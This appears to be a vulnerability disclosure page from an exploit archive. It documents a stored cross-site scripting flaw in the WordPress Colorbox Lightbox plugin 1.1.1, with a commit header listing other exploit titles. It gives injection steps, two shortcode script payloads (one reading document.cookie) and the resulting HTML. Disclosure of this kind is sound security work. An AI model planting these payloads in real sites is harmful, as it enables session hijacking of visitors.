5aa3bfc759
12 changes to exploits/shellcodes Comtrend AR-5387un router - Persistent XSS (Authenticated) Loan Management System 1.0 - Multiple Cross Site Scripting (Stored) Wordpress Plugin WP Courses < 2.0.29 - Broken Access Controls leading to Courses Content Disclosure Visitor Management System in PHP 1.0 - SQL Injection (Authenticated) Ultimate Project Manager CRM PRO Version 2.0.5 - SQLi (Authenticated) WordPress Plugin HS Brand Logo Slider 2.1 - 'logoupload' File Upload User Registration & Login and User Management System With admin panel 2.1 - Persistent XSS RiteCMS 2.2.1 - Remote Code Execution (Authenticated) Mobile Shop System v1.0 - SQL Injection Authentication Bypass Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting (Authenticated)
32 lines
No EOL
1.4 KiB
Text
32 lines
No EOL
1.4 KiB
Text
# Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)
|
|
# Date: 10.8.2020.
|
|
# Exploit Author: n1x_ [MS-WEB]
|
|
# Software Homepage: https://wordpress.org/plugins/wp-colorbox/
|
|
# Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip
|
|
# Product Version: 1.1.1
|
|
|
|
[Description]
|
|
|
|
# WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library.
|
|
|
|
# Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.
|
|
|
|
[Proof of Concept]
|
|
|
|
# 1. Authorization as user with privileges to write and publish posts
|
|
# 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post
|
|
# 3. The code is stored on the post
|
|
|
|
|
|
[Example payloads]
|
|
|
|
|
|
# Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]
|
|
|
|
# Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"]
|
|
|
|
[Response]
|
|
|
|
...
|
|
<a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
|
|
... |